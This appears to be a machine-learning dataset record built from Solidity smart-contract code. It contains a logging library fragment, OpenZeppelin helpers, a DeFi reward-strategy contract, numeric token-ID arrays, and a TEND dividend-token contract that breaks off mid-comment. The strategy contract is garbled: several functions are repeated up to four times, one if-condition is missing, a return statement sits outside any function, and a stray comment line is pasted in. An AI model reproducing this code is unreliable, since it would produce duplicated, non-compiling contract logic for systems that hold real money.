_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity 0.5.16; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../interface/IController.sol"; import "./Controllable.sol"; contract RewardTokenProfitNotifier is Controllable { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 public profitSharingNumerator; uint256 public profitSharingDenominator; address public rewardToken; constructor( address _storage, address _rewardToken ) public Controllable(_storage){ rewardToken = _rewardToken; // persist in the state for immutability of the fee profitSharingNumerator = 30; //IController(controller()).profitSharingNumerator(); profitSharingDenominator = 100; //IController(controller()).profitSharingDenominator(); require(profitSharingNumerator < profitSharingDenominator, "invalid profit share"); } event ProfitLogInReward(uint256 profitAmount, uint256 feeAmount, uint256 timestamp); function notifyProfitInRewardToken(uint256 _rewardBalance) internal { if( _rewardBalance > 0 ){ uint256 feeAmount = _rewardBalance.mul(profitSharingNumerator).div(profitSharingDenominator); emit ProfitLogInReward(_rewardBalance, feeAmount, block.timestamp); IERC20(rewardToken).safeApprove(controller(), 0); IERC20(rewardToken).safeApprove(controller(), feeAmount); IController(controller()).notifyFee( rewardToken, feeAmount ); } else { emit ProfitLogInReward(0, 0, block.timestamp); } } } pragma solidity 0.5.16; interface IStrategy { function unsalvagableTokens(address tokens) external view returns (bool); function governance() external view returns (address); function controller() external view returns (address); function underlying() external view returns (address); function vault() external view returns (address); function withdrawAllToVault() external; function withdrawToVault(uint256 amount) external; function investedUnderlyingBalance() external view returns (uint256); // itsNotMuch() // should only be called by controller function salvage(address recipient, address token, uint256 amount) external; function doHardWork() external; function depositArbCheck() external view returns(bool); } pragma solidity 0.5.16; interface IController { // [Grey list] // An EOA can safely interact with the system no matter what. // If you're using Metamask, you're using an EOA. // Only smart contracts may be affected by this grey list. // // This contract will not be able to ban any EOA from the system // even if an EOA is being added to the greyList, he/she will still be able // to interact with the whole system as if nothing happened. // Only smart contracts will be affected by being added to the greyList. // This grey list is only used in Vault.sol, see the code there for reference function greyList(address _target) external view returns(bool); function addVaultAndStrategy(address _vault, address _strategy) external; function doHardWork(address _vault) external; function hasVault(address _vault) external returns(bool); function salvage(address _token, uint256 amount) external; function salvageStrategy(address _strategy, address _token, uint256 amount) external; function notifyFee(address _underlying, uint256 fee) external; function profitSharingNumerator() external view returns (uint256); function profitSharingDenominator() external view returns (uint256); function feeRewardForwarder() external view returns(address); } pragma solidity 0.5.16; import "./Governable.sol"; contract Controllable is Governable { constructor(address _storage) Governable(_storage) public { } modifier onlyController() { require(store.isController(msg.sender), "Not a controller"); _; } modifier onlyControllerOrGovernance(){ require((store.isController(msg.sender) || store.isGovernance(msg.sender)), "The caller must be controller or governance"); _; } function controller() public view returns (address) { return store.controller(); } } pragma solidity 0.5.16; import "./Storage.sol"; contract Governable { Storage public store; constructor(address _store) public { require(_store != address(0), "new storage shouldn't be empty"); store = Storage(_store); } modifier onlyGovernance() { require(store.isGovernance(msg.sender), "Not governance"); _; } function setStorage(address _store) public onlyGovernance { require(_store != address(0), "new storage shouldn't be empty"); store = Storage(_store); } function governance() public view returns (address) { return store.governance(); } } pragma solidity 0.5.16; contract Storage { address public governance; address public controller; constructor() public { governance = msg.sender; } modifier onlyGovernance() { require(isGovernance(msg.sender), "Not governance"); _; } function setGovernance(address _governance) public onlyGovernance { require(_governance != address(0), "new governance shouldn't be empty"); governance = _governance; } function setController(address _controller) public onlyGovernance { require(_controller != address(0), "new controller shouldn't be empty"); controller = _controller; } function isGovernance(address account) public view returns (bool) { return account == governance; } function isController(address account) public view returns (bool) { return account == controller; } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
This is only used in `investAllUnderlying()` The user can still freely withdraw from the strategy
contract SNXRewardStrategy is StrategyBase { using SafeMath for uint256; using SafeERC20 for IERC20; SNXRewardInterface public rewardPool; address public rewardToken; address[] public liquidationPath; modifier onlyNotPausedInvesting() { require(!pausedInvesting, "Action blocked as the strategy is in emergency state"); _; } constructor( address _storage, address _underlying, address _vault, address _rewardToken, address _uniswapRouterAddress ) StrategyBase(_storage, _underlying, _vault, _rewardToken, _uniswapRouterAddress) public { rewardToken = _rewardToken; } function depositArbCheck() public view returns(bool) { return true; } function emergencyExit() public onlyGovernance { rewardPool.exit(); pausedInvesting = true; } function continueInvesting() public onlyGovernance { pausedInvesting = false; } function setLiquidationPath(address[] memory _newPath) public onlyGovernance { liquidationPath = _newPath; } function _liquidateReward() internal { uint256 rewardAmount = IERC20(rewardToken).balanceOf(address(this)); ) { notifyProfitInRewardToken(rewardAmount); rewardAmount = IERC20(rewardToken).balanceOf(address(this)); uint256 amountOutMin = 1; IERC20(rewardToken).safeApprove(uniswapRouterV2, 0); IERC20(rewardToken).safeApprove(uniswapRouterV2, rewardAmount); IUniswapV2Router02(uniswapRouterV2).swapExactTokensForTokens( rewardAmount, amountOutMin, liquidationPath, address(this), block.timestamp ); } } function _liquidateReward() internal { uint256 rewardAmount = IERC20(rewardToken).balanceOf(address(this)); ) { notifyProfitInRewardToken(rewardAmount); rewardAmount = IERC20(rewardToken).balanceOf(address(this)); uint256 amountOutMin = 1; IERC20(rewardToken).safeApprove(uniswapRouterV2, 0); IERC20(rewardToken).safeApprove(uniswapRouterV2, rewardAmount); IUniswapV2Router02(uniswapRouterV2).swapExactTokensForTokens( rewardAmount, amountOutMin, liquidationPath, address(this), block.timestamp ); } } function investAllUnderlying() internal onlyNotPausedInvesting { uint256 underlyingBalance = IERC20(underlying).balanceOf(address(this)); if(underlyingBalance > 0) { IERC20(underlying).safeApprove(address(rewardPool), 0); IERC20(underlying).safeApprove(address(rewardPool), underlyingBalance); rewardPool.stake(underlyingBalance); } } function investAllUnderlying() internal onlyNotPausedInvesting { uint256 underlyingBalance = IERC20(underlying).balanceOf(address(this)); if(underlyingBalance > 0) { IERC20(underlying).safeApprove(address(rewardPool), 0); IERC20(underlying).safeApprove(address(rewardPool), underlyingBalance); rewardPool.stake(underlyingBalance); } } function withdrawAllToVault() public restricted { if (address(rewardPool) != address(0)) { if (rewardPool.balanceOf(address(this)) > 0) { rewardPool.exit(); } } _liquidateReward(); if (IERC20(underlying).balanceOf(address(this)) > 0) { IERC20(underlying).safeTransfer(vault, IERC20(underlying).balanceOf(address(this))); } } function withdrawAllToVault() public restricted { if (address(rewardPool) != address(0)) { if (rewardPool.balanceOf(address(this)) > 0) { rewardPool.exit(); } } _liquidateReward(); if (IERC20(underlying).balanceOf(address(this)) > 0) { IERC20(underlying).safeTransfer(vault, IERC20(underlying).balanceOf(address(this))); } } function withdrawAllToVault() public restricted { if (address(rewardPool) != address(0)) { if (rewardPool.balanceOf(address(this)) > 0) { rewardPool.exit(); } } _liquidateReward(); if (IERC20(underlying).balanceOf(address(this)) > 0) { IERC20(underlying).safeTransfer(vault, IERC20(underlying).balanceOf(address(this))); } } function withdrawAllToVault() public restricted { if (address(rewardPool) != address(0)) { if (rewardPool.balanceOf(address(this)) > 0) { rewardPool.exit(); } } _liquidateReward(); if (IERC20(underlying).balanceOf(address(this)) > 0) { IERC20(underlying).safeTransfer(vault, IERC20(underlying).balanceOf(address(this))); } } function withdrawToVault(uint256 amount) public restricted { uint256 underlyingBalance = IERC20(underlying).balanceOf(address(this)); if(amount > underlyingBalance){ uint256 needToWithdraw = amount.sub(underlyingBalance); rewardPool.withdraw(Math.min(rewardPool.balanceOf(address(this)), needToWithdraw)); } IERC20(underlying).safeTransfer(vault, amount); } function withdrawToVault(uint256 amount) public restricted { uint256 underlyingBalance = IERC20(underlying).balanceOf(address(this)); if(amount > underlyingBalance){ uint256 needToWithdraw = amount.sub(underlyingBalance); rewardPool.withdraw(Math.min(rewardPool.balanceOf(address(this)), needToWithdraw)); } IERC20(underlying).safeTransfer(vault, amount); } function investedUnderlyingBalance() external view returns (uint256) { if (address(rewardPool) == address(0)) { return IERC20(underlying).balanceOf(address(this)); } } function investedUnderlyingBalance() external view returns (uint256) { if (address(rewardPool) == address(0)) { return IERC20(underlying).balanceOf(address(this)); } } return rewardPool.balanceOf(address(this)).add(IERC20(underlying).balanceOf(address(this))); function salvage(address recipient, address token, uint256 amount) external onlyControllerOrGovernance { require(!unsalvagableTokens[token], "token is defined as not salvagable"); IERC20(token).safeTransfer(recipient, amount); } function doHardWork() external onlyNotPausedInvesting restricted { rewardPool.getReward(); _liquidateReward(); investAllUnderlying(); } }
11,755,487
[ 1, 2503, 353, 1338, 1399, 316, 1375, 5768, 395, 1595, 14655, 6291, 20338, 1021, 729, 848, 4859, 22010, 2357, 598, 9446, 628, 326, 6252, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 14204, 60, 17631, 1060, 4525, 353, 19736, 2171, 288, 203, 203, 225, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 225, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 225, 14204, 60, 17631, 1060, 1358, 1071, 19890, 2864, 31, 203, 225, 1758, 1071, 19890, 1345, 31, 203, 203, 225, 1758, 8526, 1071, 4501, 26595, 367, 743, 31, 203, 203, 225, 9606, 1338, 1248, 28590, 3605, 10100, 1435, 288, 203, 565, 2583, 12, 5, 8774, 3668, 3605, 10100, 16, 315, 1803, 14547, 487, 326, 6252, 353, 316, 801, 24530, 919, 8863, 203, 565, 389, 31, 203, 225, 289, 203, 203, 225, 3885, 12, 203, 565, 1758, 389, 5697, 16, 203, 565, 1758, 389, 9341, 6291, 16, 203, 565, 1758, 389, 26983, 16, 203, 565, 1758, 389, 266, 2913, 1345, 16, 203, 565, 1758, 389, 318, 291, 91, 438, 8259, 1887, 203, 225, 262, 203, 225, 19736, 2171, 24899, 5697, 16, 389, 9341, 6291, 16, 389, 26983, 16, 389, 266, 2913, 1345, 16, 389, 318, 291, 91, 438, 8259, 1887, 13, 203, 225, 1071, 288, 203, 565, 19890, 1345, 273, 389, 266, 2913, 1345, 31, 203, 225, 289, 203, 203, 225, 445, 443, 1724, 686, 70, 1564, 1435, 1071, 1476, 1135, 12, 6430, 13, 288, 203, 565, 327, 638, 31, 203, 225, 289, 203, 203, 225, 445, 801, 24530, 6767, 1435, 1071, 1338, 43, 1643, 82, 1359, 288, 203, 565, 19890, 2864, 18, 8593, 5621, 203, 565, 17781, 3605, 10100, 273, 638, 31, 203, 225, 289, 203, 203, 203, 225, 2 ]
/** * @title TEND token * @version 2.0 * @author Validity Labs AG <[email protected]> * * The TTA tokens are issued as participation certificates and represent * uncertificated securities within the meaning of article 973c Swiss CO. The * issuance of the TTA tokens has been governed by a prospectus issued by * Tend Technologies AG. * * TTA tokens are only recognized and transferable in undivided units. * * The holder of a TTA token must prove his possessorship to be recognized by * the issuer as being entitled to the rights arising out of the respective * participation certificate; he/she waives any rights if he/she is not in a * position to prove him/her being the holder of the respective token. * * Similarly, only the person who proves him/her being the holder of the TTA * Token is entitled to transfer title and ownership on the token to another * person. Both the transferor and the transferee agree and accept hereby * explicitly that the tokens are transferred digitally, i.e. in a form-free * manner. However, if any regulators, courts or similar would require written * confirmation of a transfer of the transferable uncertificated securities * from one investor to another investor, such investors will provide written * evidence of such transfer. */ pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract DividendToken is StandardToken, Ownable { using SafeMath for uint256; // time before dividendEndTime during which dividend cannot be claimed by token holders // instead the unclaimed dividend can be claimed by treasury in that time span uint256 public claimTimeout = 20 days; uint256 public dividendCycleTime = 350 days; uint256 public currentDividend; mapping(address => uint256) unclaimedDividend; // tracks when the dividend balance has been updated last time mapping(address => uint256) public lastUpdate; uint256 public lastDividendIncreaseDate; // allow payment of dividend only by special treasury account (treasury can be set and altered by owner, // multiple treasurer accounts are possible mapping(address => bool) public isTreasurer; uint256 public dividendEndTime = 0; event Payin(address _owner, uint256 _value, uint256 _endTime); event Payout(address _tokenHolder, uint256 _value); event Reclaimed(uint256 remainingBalance, uint256 _endTime, uint256 _now); event ChangedTreasurer(address treasurer, bool active); /** * @dev Deploy the DividendToken contract and set the owner of the contract */ constructor() public { isTreasurer[owner] = true; } /** * @dev Request payout dividend (claim) (requested by tokenHolder -> pull) * dividends that have not been claimed within 330 days expire and cannot be claimed anymore by the token holder. */ function claimDividend() public returns (bool) { // unclaimed dividend fractions should expire after 330 days and the owner can reclaim that fraction require(dividendEndTime > 0); require(dividendEndTime.sub(claimTimeout) > block.timestamp); updateDividend(msg.sender); uint256 payment = unclaimedDividend[msg.sender]; unclaimedDividend[msg.sender] = 0; msg.sender.transfer(payment); // Trigger payout event emit Payout(msg.sender, payment); return true; } /** * @dev Transfer dividend (fraction) to new token holder * @param _from address The address of the old token holder * @param _to address The address of the new token holder * @param _value uint256 Number of tokens to transfer */ function transferDividend(address _from, address _to, uint256 _value) internal { updateDividend(_from); updateDividend(_to); uint256 transAmount = unclaimedDividend[_from].mul(_value).div(balanceOf(_from)); unclaimedDividend[_from] = unclaimedDividend[_from].sub(transAmount); unclaimedDividend[_to] = unclaimedDividend[_to].add(transAmount); } /** * @dev Update the dividend of hodler * @param _hodler address The Address of the hodler */ function updateDividend(address _hodler) internal { // last update in previous period -> reset claimable dividend if (lastUpdate[_hodler] < lastDividendIncreaseDate) { unclaimedDividend[_hodler] = calcDividend(_hodler, totalSupply_); lastUpdate[_hodler] = block.timestamp; } } /** * @dev Get claimable dividend for the hodler * @param _hodler address The Address of the hodler */ function getClaimableDividend(address _hodler) public constant returns (uint256 claimableDividend) { if (lastUpdate[_hodler] < lastDividendIncreaseDate) { return calcDividend(_hodler, totalSupply_); } else { return (unclaimedDividend[_hodler]); } } /** * @dev Overrides transfer method from BasicToken * transfer token for a specified address * @param _to address The address to transfer to. * @param _value uint256 The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { transferDividend(msg.sender, _to, _value); // Return from inherited transfer method return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { // Prevent dividend to be claimed twice transferDividend(_from, _to, _value); // Return from inherited transferFrom method return super.transferFrom(_from, _to, _value); } /** * @dev Set / alter treasurer "account". This can be done from owner only * @param _treasurer address Address of the treasurer to create/alter * @param _active bool Flag that shows if the treasurer account is active */ function setTreasurer(address _treasurer, bool _active) public onlyOwner { isTreasurer[_treasurer] = _active; emit ChangedTreasurer(_treasurer, _active); } /** * @dev Request unclaimed ETH, payback to beneficiary (owner) wallet * dividend payment is possible every 330 days at the earliest - can be later, this allows for some flexibility, * e.g. board meeting had to happen a bit earlier this year than previous year. */ function requestUnclaimed() public onlyOwner { // Send remaining ETH to beneficiary (back to owner) if dividend round is over require(block.timestamp >= dividendEndTime.sub(claimTimeout)); msg.sender.transfer(address(this).balance); emit Reclaimed(address(this).balance, dividendEndTime, block.timestamp); } /** * @dev ETH Payin for Treasurer * Only owner or treasurer can 